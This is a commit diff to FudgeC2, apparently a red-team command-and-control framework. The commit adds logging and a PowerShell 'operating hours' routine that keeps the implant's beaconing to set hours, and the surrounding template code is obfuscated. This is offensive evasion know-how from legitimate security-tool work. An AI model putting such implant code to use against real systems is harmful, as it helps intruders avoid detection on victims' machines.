Skip to content

Commit ba6132a

Browse files
author
Ziconius
committed
Added error logging to FudgeC2, this will be expanded during new testing process.
Added operating hours to the implant - operators can now configure the implant to only beacon during specificed hours Tweaks to style and formatting of the web interface.
1 parent 3ebcb74 commit ba6132a

File tree

14 files changed

+201
-39
lines changed

14 files changed

+201
-39
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
*.xml
55
*.db
66
*.pyc
7+
*.log
78
Dev_docs/*
89
.__pycharm__/*
910
__pycache__/*

FudgeC2/Controller.py

Lines changed: 29 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,27 @@
11
#!/usr/bin/python3
2+
import logging.config
23
import _thread
34
import time
45
import os
6+
import yaml
57

68
from Storage.settings import Settings
7-
from ServerApp import ImplantManager
89

10+
with open(Settings.logging_config, 'r') as f:
11+
config = yaml.safe_load(f.read())
12+
logging.config.dictConfig(config)
13+
14+
from ServerApp import ImplantManager
915
from NetworkProfiles.NetworkListenerManagement import NetworkListenerManagement
10-
NLM = NetworkListenerManagement.instance
16+
17+
logger = logging.getLogger(__name__)
1118

1219

1320
def check_tls_certificates(cert, key):
14-
cert_result = os.path.isfile(os.getcwd() + "/Storage/" + cert)
15-
key_result = os.path.isfile(os.getcwd() + "/Storage/" + key)
21+
cert_result = os.path.isfile(f"{os.getcwd()}/Storage/{cert}")
22+
key_result = os.path.isfile(f"{os.getcwd()}/Storage/{key}")
1623
if key_result is False or cert_result is False:
17-
print("Warning: Missing crypto keys for TLS listeners. These will fail to boot.")
24+
logger.warning("Missing private keys for TLS listeners, this will cause them to fail.")
1825
return
1926

2027

@@ -27,7 +34,8 @@ def check_key_folders():
2734
if not os.path.isdir(Settings.implant_resource_folder):
2835
os.mkdir(f"{Settings.implant_resource_folder}")
2936
return True
30-
except:
37+
except Exception as Error:
38+
logger.warning(f"Exception setting up important directories: {Error}")
3139
return False
3240

3341

@@ -39,21 +47,22 @@ def start_controller():
3947
port=Settings.server_app_port,
4048
threaded=True,
4149
ssl_context=Settings.server_app_ssl)
42-
return
4350

4451

45-
Manager = ImplantManager.app
46-
NLM.startup_auto_run_listeners()
52+
if __name__ == "__main__":
53+
NLM = NetworkListenerManagement.instance
54+
Manager = ImplantManager.app
55+
NLM.startup_auto_run_listeners()
4756

48-
try:
49-
check_tls_certificates(Settings.tls_listener_cert, Settings.tls_listener_key)
50-
check_key_folders()
51-
_thread.start_new_thread(start_controller, ())
52-
except Exception as E:
53-
print(f"Error: Unable to start FudgeC2 server thread, exception: {E}")
54-
exit()
57+
try:
58+
check_tls_certificates(Settings.tls_listener_cert, Settings.tls_listener_key)
59+
check_key_folders()
60+
_thread.start_new_thread(start_controller, ())
61+
except Exception as E:
62+
print(f"Unable to start FudgeC2 server thread: {E}")
63+
exit()
5564

56-
while 1:
57-
# Hold the application threads open
58-
time.sleep(15)
59-
pass
65+
while 1:
66+
# Hold the application threads open
67+
time.sleep(15)
68+
pass

FudgeC2/Data/DatabaseImplant.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,8 @@ def create_new_implant_template(self, user, cid, config):
4040
kill_date=config['kill_date'],
4141
initial_delay=config['initial_delay'],
4242
obfuscation_level=config['obfuscation_level'],
43-
network_profiles=config['protocol']
43+
network_profiles=config['protocol'],
44+
operating_hours=config['operating_hours']
4445
)
4546
self.Session.add(new_implant)
4647
try:

FudgeC2/Data/ErrorLogging.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import logging
2+
3+
4+
logger = logging.getLogger('error_logging')
5+
logger.setLevel(logging.DEBUG)
6+
7+
8+
fh = logging.FileHandler('spam.log')
9+
fh.setLevel(logging.DEBUG)
10+
# create console handler with a higher log level
11+
ch = logging.StreamHandler()
12+
ch.setLevel(logging.ERROR)
13+
# create formatter and add it to the handlers
14+
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
15+
fh.setFormatter(formatter)
16+
ch.setFormatter(formatter)
17+
# add the handlers to the logger
18+
logger.addHandler(fh)
19+
logger.addHandler(ch)

FudgeC2/Data/models.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,7 @@ class ImplantTemplate(Base):
7777
network_profiles = Column(TextPickleType(), nullable=False)
7878
obfuscation_level = Column(INTEGER(1), nullable=False)
7979
encryption = Column(TextPickleType(), nullable=False)
80+
operating_hours = Column(TextPickleType(), nullable=False)
8081

8182

8283
class GeneratedImplants(Base):

FudgeC2/Implant/ImplantGenerator.py

Lines changed: 33 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,8 @@ class ImplantGenerator:
4040
"obf_upload_file": "upload-file",
4141
"obf_download_file": "download-file",
4242
"obf_screen_capture": "screen-capture",
43-
"obf_kill_date": "implant_kill_date"
43+
"obf_kill_date": "implant_kill_date",
44+
"obf_operating_hours": "working_time_function"
4445
}
4546

4647
execute_command = '''
@@ -87,10 +88,37 @@ class ImplantGenerator:
8788
[string]::join('',[ChaR[]](101, 120, 105, 116)) |& ((gv ‘*MDr*’).NamE[3,11,2] -join '')
8889
}
8990
}
91+
'''
92+
operating_hours = '''
93+
function {{ ron.obf_operating_hours }}(){
94+
#Write-host "Are we at working time yet?"
95+
while ($true){
96+
$start_string = "{{ operating_hours['oh_start'] }}:00"
97+
$stop_string = "{{ operating_hours['oh_stop'] }}:00"
98+
$start = [datetime]::parseexact($start_string, 'HH:mm:ss', $null)
99+
$stop = [datetime]::parseexact($stop_string, 'HH:mm:ss', $null)
100+
101+
if ($start -lt $stop){
102+
#Write-Host "9-5"
103+
if( ( (get-date) -ge $start ) -And ((get-date) -le $stop) ){
104+
return }
105+
} else {
106+
$stop = $stop.AddDays(1)
107+
# Write-Host "5-9"
108+
# Write-Host $stop
109+
if ( ((get-date) -lt $stop) -And ( (Get-Date) -gt $start ) ) {
110+
return}
111+
}
112+
start-sleep(3);
113+
}
114+
}
90115
'''
91116

92117
select_protocol = '''
93118
function {{ ron.obf_select_protocol }}($b){
119+
{% if operating_hours['oh_start'] is defined %}
120+
{{ ron.obf_operating_hours }}
121+
{% endif %}
94122
{% if kill_date %}{{ ron.obf_kill_date }}{% endif %}
95123
sleep (Get-Random -Minimum (${{ ron.obf_sleep }} *0.90) -Maximum (${{ ron.obf_sleep }} *1.10))
96124
return get-random($b)
@@ -181,6 +209,9 @@ def _process_modules(self, implant_data, randomised_function_names):
181209
if implant_data['kill_date'] is not None:
182210
implant_functions.append(self.kill_date)
183211

212+
if len(implant_data['operating_hours']) == 2:
213+
implant_functions.append(self.operating_hours)
214+
184215
constructed_implant = self._manage_implant_function_order(implant_data, implant_functions)
185216

186217
protocol_string = ""
@@ -248,6 +279,7 @@ def generate_implant_from_template(self, implant_data):
248279
proto_core=protocol_switch,
249280
obfuscation_level=implant_data['obfuscation_level'],
250281
obf_variables=variable_list,
282+
operating_hours=implant_data['operating_hours'],
251283
kill_date=implant_data['kill_date'],
252284
kill_date_encoded=base64.b64encode(str(implant_data['kill_date']).encode()).decode()
253285
)

FudgeC2/ServerApp/modules/ApplicationManager.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
import requests
22
from distutils.version import LooseVersion
3+
import logging
34

45
from Data.Database import Database
56
from Storage.settings import Settings
67

8+
logger = logging.getLogger(__name__)
79

810
class AppManager:
911
db = None

FudgeC2/ServerApp/modules/ImplantManagement.py

Lines changed: 35 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,10 @@
33
from Implant.ImplantFunctionality import ImplantFunctionality
44
from NetworkProfiles.NetworkProfileManager import NetworkProfileManager
55

6-
import datetime
6+
import logging
7+
from datetime import datetime
8+
9+
logger = logging.getLogger(__name__)
710

811
class ImplantManagement:
912
# -- The implant management class is responsible for performing pre-checks and validation before sending data
@@ -24,6 +27,7 @@ def _form_validated_obfucation_level_(self, form):
2427
obfuscation_value = 4
2528
return obfuscation_value
2629
except:
30+
logger.warning(f"{self}")
2731
return None
2832

2933
def _validate_command(self, command):
@@ -58,16 +62,40 @@ def _validate_template_kill_date(self, form):
5862
try:
5963
# Checking to ensure a the time is not before current time.
6064
# This time must match the webapp submission format.
61-
user_time = datetime.datetime.strptime(form['kill_date'], '%d/%m/%Y, %H:%M')
62-
current_time = datetime.datetime.now()
65+
print(form)
66+
user_time = datetime.strptime(form['kill_date'], '%d/%m/%Y, %H:%M')
67+
current_time = datetime.now()
6368
if user_time < current_time:
6469
return None
6570
else:
6671
# Reformatting the datetime to match implant datetime format string
67-
return datetime.datetime.strftime(user_time, '%Y-%m-%d %H:%M:%S')
72+
return datetime.strftime(user_time, '%Y-%m-%d %H:%M:%S')
6873
except Exception as E:
74+
print(E)
75+
error_logging.error(f"kill_date vaule not in form: {__name__}", E)
6976
return None
7077

78+
def _validate_template_operating_hours(self, form):
79+
# This returns a dict no matter what.
80+
time_dict = {}
81+
timemask = "%H:%M"
82+
if "oh_start" in form and "oh_stop" in form:
83+
time_dict['oh_start'] = form['oh_start']
84+
time_dict['oh_stop'] = form['oh_stop']
85+
try:
86+
start = datetime.strptime(time_dict['oh_start'], timemask)
87+
stop = datetime.strptime(time_dict['oh_stop'], timemask)
88+
# Ensure the start is less than stop
89+
if start >= stop:
90+
print(f"Start {start} is greater than stop {stop}")
91+
return time_dict
92+
except Exception as e:
93+
print(f"Formatting error: {e}")
94+
return {}
95+
else:
96+
return {}
97+
98+
7199
def get_network_profile_options(self):
72100
return self.NetProMan.get_implant_template_code()
73101

@@ -135,7 +163,8 @@ def create_new_implant(self, cid, form, user):
135163
"obfuscation_level": None,
136164
"encryption": [],
137165
"protocol": {},
138-
"kill_date": None
166+
"kill_date": None,
167+
"operating_hours": None
139168
}
140169
try:
141170
User = self.db.user.Get_UserObject(user)
@@ -148,6 +177,7 @@ def create_new_implant(self, cid, form, user):
148177
if "CreateImplant" in form:
149178
obfuscation_level = self._form_validated_obfucation_level_(form)
150179
implant_configuration['kill_date'] = self._validate_template_kill_date(form)
180+
implant_configuration['operating_hours'] = self._validate_template_operating_hours(form)
151181

152182
if obfuscation_level is None:
153183
raise ValueError('Missing, or invalid obfuscation level.')

FudgeC2/ServerApp/static/core-style.css

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
body {
2-
background-color: #035371;
2+
background-color: #669AD5;
33
padding:0px;
44
}
55

FudgeC2/ServerApp/templates/CreateImplant.html

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,36 @@ <h3>Create Implant Template</h3>
8686
});
8787
</script>
8888

89+
90+
<span class="font-weight-bold">Operating hours</span><br>
91+
<span class="font-italic">Configure the operating time frame in which your implant will function in. These times will be read and Leave blank to disable operating hour functionality</span>
92+
<div class="form-group">
93+
<span>Start time</span>
94+
<div class="input-group date" id="oh_start" data-target-input="nearest">
95+
<input type="text" class="form-control datetimepicker-input" data-target="#datetimepicker1" name="oh_start"/>
96+
<div class="input-group-append" data-target="#oh_start" data-toggle="datetimepicker">
97+
<div class="input-group-text"><i class="fa fa-calendar"></i></div>
98+
</div>
99+
</div>
100+
<span>Stop time</span>
101+
<div class="input-group date" id="oh_stop" data-target-input="nearest">
102+
<input type="text" class="form-control datetimepicker-input" data-target="#datetimepicker1" name="oh_stop"/>
103+
<div class="input-group-append" data-target="#oh_stop" data-toggle="datetimepicker">
104+
<div class="input-group-text"><i class="fa fa-calendar"></i></div>
105+
</div>
106+
</div>
107+
</div>
108+
<script type="text/javascript">
109+
$(function () {
110+
$('#oh_start').datetimepicker( {
111+
format: 'HH:mm'
112+
});
113+
$('#oh_stop').datetimepicker( {
114+
format: 'HH:mm'
115+
});
116+
});
117+
</script>
118+
89119
{% if profiles%}
90120
<h4>Network Profiles<span class="text-danger">*</span></h4>
91121
<div>To include a network profile in your implant simple enter the port it's listener will be listening on. At least one profile is required per implant template, any blank entries are not included.</div>

0 commit comments

Comments
 (0)